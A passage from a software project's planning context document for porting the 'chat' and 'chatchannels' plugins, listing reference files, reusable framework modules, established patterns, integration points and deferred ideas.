+- `/media/nvme/dev/jz/wavepath.org/plugins/golem15/chat` at `943b712`: models, `contracts/ChatContextInterface.php`, `classes/{ContextResolver,AbstractContextAdapter,ChatService,ChatChannelAuthorizer,ChatAttachmentPolicy}.php`, `traits/ChatBroadcasting.php`, `jobs/MaintainThreadSummaryJob.php`, `updates/`, `tests/` (59 methods)
+- `/media/nvme/dev/jz/wavepath.org/plugins/golem15/chatchannels` at `b92fb42`: `classes/ChannelService.php` (1381 lines), `MentionParser`, `HandleGenerator`, `SearchIndexer`, `contracts/ChannelAccessResolver`, `models/MessageIndex`, `updates/`, `tests/` (about 130 methods)
+- `/media/nvme/dev/jz/wavepath.org/plugins/golem15/wavepath/routes.php` lines 171, 488-526, 558-590, 673-721: the community routes that the generic API mirrors (D-07)
+- `/media/nvme/dev/jz/wavepath.org/plugins/golem15/wavepath/Plugin.php` lines 163-190 (context adapter registration) and 209 (access resolver rebinding): how a host wires the seams
+- `/media/nvme/dev/jz/wavepath.org/plugins/golem15/userfriends/Plugin.php` lines 41-52: the other context adapter and provider registration
+- `/media/nvme/dev/jz/wavepath.org/vue-wavepath-app/src/`: the realtime events the client listens to (`created.chat.message`, `typing.chat.message`, `mentions.changed`, `chat:bot`) and the API usage in `api/dmApi.ts`
+
+### Project decisions
+- `.planning/notes/core-plugin-port-inventory.md`: why websockets isn't ported (lighthouse covers it), chat and chatchannels sizes, port order
+- `.planning/notes/core-plugins-own-repos.md`: the `sm-*-plugin` repo, module, submodule and commit workflow; core plugin contracts stay non-breaking
+- `.planning/notes/plugin-layout-winter-directories.md` §"Evidence (jz golem15/chat)": the classes/models edges in chat (ChatAttachmentPolicy, the ChatBroadcasting hook, the context resolver)
+- `.planning/phases/18.1-payment-gateway-subscriptions/18.1-CONTEXT.md` D-04, D-08, D-09: squashed baseline, build-time morph registry, and shared-users-column precedents
+- `.planning/phases/18-payment-gateway/18-CONTEXT.md` D-03, D-06: the test-only host and the `/_x/api/v1` customer API precedents
+
+### Framework modules
+- `modules/lighthouse/README.md`: publisher, `Bind`, `Emit`, Registry/Authorizer, `Mount` surfaces, memory driver
+- `modules/lagoon/README.md` §Attachments: `attach.Store`, `attach.Limits`, `is_public`, `attach.Owner` morph name, two-phase delete
+- `modules/beachcomber/README.md`: `Searchable`, Typesense engine, kill-switch
+- `modules/festival/README.md`: typed synchronous events
+- `modules/conga`: River jobs, for the thread summary job
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `lighthouse`: replaces the whole WebSockets dependency. `Bind` covers the `created.chat.message` model broadcast; `Emit` and `Publish` cover the typing, read, unread, `chat:message` and `mentions.changed` events; `Registry.Register("chat", …)` covers ChatChannelAuthorizer; `MemoryDriver` serves the golden event tests.
+- `lagoon/attach`: protected `system_files` storage with limits and an extension and MIME allowlist, matching ChatAttachmentPolicy.
+- `beachcomber` with its `typesense` driver: the Scout successor for MessageIndex.
+- `conga`: River jobs for `MaintainThreadSummaryJob`.
+- `festival`: the typed event bus for the D-13 hooks.
+- `sm-user-plugin`: the `jwt.auth` guard, the user model and lifecycle; it gains `handle` (D-15) and the `user` authorizer (D-17).
+
+### Established Patterns
+- A squashed idempotent baseline that adopts the PHP DB (Phase 5, P18.1 D-04).
+- A build-time registry instead of PHP singletons and config pushes (P18 D-15, P18.1 D-08).
+- A headless `/_x/api/v1` API per plugin (P15 D-14, P18 D-06, P18.1 D-13).
+- Plugin READMEs never name a consuming app (CLAUDE.md); the fixtures use `acme`.
+
+### Integration Points
+- The app (later Wavepath) registers context aliases (D-11), installs the ChannelAccessResolver (D-14), and mounts both APIs (D-09).
+- chat → chatchannels only through festival events (D-13); chatchannels requires chat.
+- Message broadcasts are enqueued in the write transaction through lighthouse callbacks, so nothing is published for a write that rolls back.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- "No trace of QuestStream / Family / Child at this stage". This applies to code, strings, comments and READMEs.
+- The generic API should let the Wavepath port reuse it rather than re-implement it: identical payloads and serializers.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- A `vue-chat-layer` with chat window and badge components: once a client wants the generic API.
+- QuestStream chat features (family contexts, parent oversight): with a future QuestStream port, in its app plugin.
+- `chat:migrate-attachments`: run on PHP before the Wavepath cutover, not ported (D-19).
+- Wavepath's `/_wave/api/v1/community` routes: with the Wavepath app port.
+
+### Reviewed Todos (not folded)
+- The todo matcher returned only keyword noise (journal author fields, menu/faq/sitemap ports, docs and scaffold todos). None concern chat, so none were folded.
+
+</deferred>
+
+---
+
+*Phase: 19-chat-and-chatchannels*
+*Context gathered: 2026-10-09*